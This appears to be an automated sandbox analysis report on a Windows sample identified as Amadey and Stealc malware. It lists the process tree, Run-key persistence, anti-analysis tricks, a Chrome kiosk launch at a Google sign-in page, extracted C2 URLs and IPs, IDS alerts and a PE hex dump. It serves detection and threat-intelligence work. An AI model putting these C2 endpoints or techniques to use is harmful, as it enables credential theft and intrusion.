Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521602
MD5:	6c4b5fa44d73d27368a762b5581bcaae
SHA1:	c31d79c81e6617d85db268ab62e56ab828e1a2dc
SHA256:	a8e738eb5fe6baafc04c22dc1b21e84ce3b9fc12d1c651cca717ecc2a4f03428
Tags:	exeuser-jstrosch
Infos:

Detection

Amadey, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7640 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6C4B5FA44D73D27368A762B5581BCAAE)

skotes.exe (PID: 7860 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6C4B5FA44D73D27368A762B5581BCAAE)

skotes.exe (PID: 7972 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6C4B5FA44D73D27368A762B5581BCAAE)

skotes.exe (PID: 4152 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6C4B5FA44D73D27368A762B5581BCAAE)

8a145ab7b3.exe (PID: 6724 cmdline: "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

cee706a53f.exe (PID: 2100 cmdline: "C:\Users\user\1000026002\cee706a53f.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

powershell.exe (PID: 7836 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2632 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5736 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=5760 --field-trial-handle=2032,i,16315345913979309898,3304916234650839714,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

powershell.exe (PID: 7920 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000033142\so.ps1" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 8048 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --kiosk --user-data-dir=C:\Users\user\AppData\Local\Google\Chrome\User Data MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User" --mojo-platform-channel-handle=2060 --field-trial-handle=2044,i,13926108917370873368,3944536468102768891,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

skotes.exe (PID: 1372 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6C4B5FA44D73D27368A762B5581BCAAE)

8a145ab7b3.exe (PID: 2708 cmdline: "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

svchost.exe (PID: 6400 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cee706a53f.exe (PID: 6960 cmdline: "C:\Users\user\1000026002\cee706a53f.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

8a145ab7b3.exe (PID: 7940 cmdline: "C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

cee706a53f.exe (PID: 3372 cmdline: "C:\Users\user\1000026002\cee706a53f.exe" MD5: 4D54B2279D2B7CA76FDAF6D89C509355)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000B.00000003.2062372153.0000000004E00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2541355264.0000000001AA3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2330683116.0000000005660000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000003.2156402720.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000003.2023916641.00000000054E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2065676534.00000000019ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2199902950.00000000052B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000003.1924584689.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.2336894310.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2064455494.0000000000D81000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2501696781.0000000000F7B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2243981246.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1435177507.0000000004820000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2247836152.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000002.1516020745.0000000000D81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000002.2428473626.000000000177B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2244884023.0000000000D81000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2338351590.000000000121B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1508409621.0000000000D81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.2413577862.0000000004D10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2426500171.0000000000401000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2115108597.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.1466599045.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000002.2500617596.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2689728231.0000000000D81000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.1474161213.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.2539828537.0000000000D81000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2111985097.0000000000751000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1475811914.0000000000631000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: 8a145ab7b3.exe PID: 6724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8a145ab7b3.exe PID: 6724	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: cee706a53f.exe PID: 2100	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: cee706a53f.exe PID: 2100	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.8a145ab7b3.exe.d80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
19.2.skotes.exe.400000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
8.2.skotes.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.cee706a53f.exe.750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
10.2.8a145ab7b3.exe.d80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
3.2.skotes.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.d80000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.cee706a53f.exe.750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
18.2.8a145ab7b3.exe.d80000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
11.2.cee706a53f.exe.750000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.file.exe.630000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4152, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8a145ab7b3.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 4152, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8a145ab7b3.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1", CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentImage: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ParentProcessId: 4152, ParentProcessName: skotes.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\user\1000032042\ko.ps1", ProcessId: 7836, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6400, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:02:13.384318+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49713	185.215.113.43	80	TCP
2024-09-29T01:02:17.058260+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49716	185.215.113.43	80	TCP
2024-09-29T01:02:20.190270+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49719	185.215.113.43	80	TCP
2024-09-29T01:02:23.217666+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49721	185.215.113.43	80	TCP
2024-09-29T01:02:31.056375+0200	2044696	1	A Network Trojan was detected	192.168.2.8	49735	185.215.113.43	80	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:02:14.702969+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49715	185.215.113.37	80	TCP
2024-09-29T01:02:20.042346+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49718	185.215.113.37	80	TCP
2024-09-29T01:02:30.541368+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49732	185.215.113.37	80	TCP
2024-09-29T01:02:40.580580+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49760	185.215.113.37	80	TCP
2024-09-29T01:02:48.757301+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49795	185.215.113.37	80	TCP
2024-09-29T01:02:56.532430+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49804	185.215.113.37	80	TCP
2024-09-29T01:03:03.167220+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.8	49808	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:02:05.754246+0200	2856147	1	A Network Trojan was detected	192.168.2.8	49709	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:02:12.646063+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.8	49711	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T01:02:08.753974+0200	2803305	3	Unknown Traffic	192.168.2.8	49712	185.215.113.103	80	TCP
2024-09-29T01:02:17.780118+0200	2803305	3	Unknown Traffic	192.168.2.8	49717	185.215.113.103	80	TCP
2024-09-29T01:02:20.904975+0200	2803305	3	Unknown Traffic	192.168.2.8	49720	185.215.113.103	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\1000026002\cee706a53f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000008.00000003.1924584689.0000000004F00000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 27.2.cee706a53f.exe.750000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\1000026002\cee706a53f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.8:49710 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49709 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49711
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49715 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49719 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49713 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49716 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49718 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49721 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49732 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49735 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49760 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49795 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49808 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49804 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 28 Sep 2024 23:02:08 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 28 Sep 2024 22:56:39 GMTETag: "1c2200-62335e26d596b"Accept-Ranges: bytesContent-Length: 1843712Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 2f ba f1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 b0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 69 00 00 04 00 00 f9 b7 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 70 79 71 6c 66 6a 63 00 c0 19 00 00 e0 4f 00 00 be 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 63 78 66 68 75 64 6d 00 10 00 00 00 a0 69 00 00 06 00 00 00 fa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 69 00 00 22 00 00 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 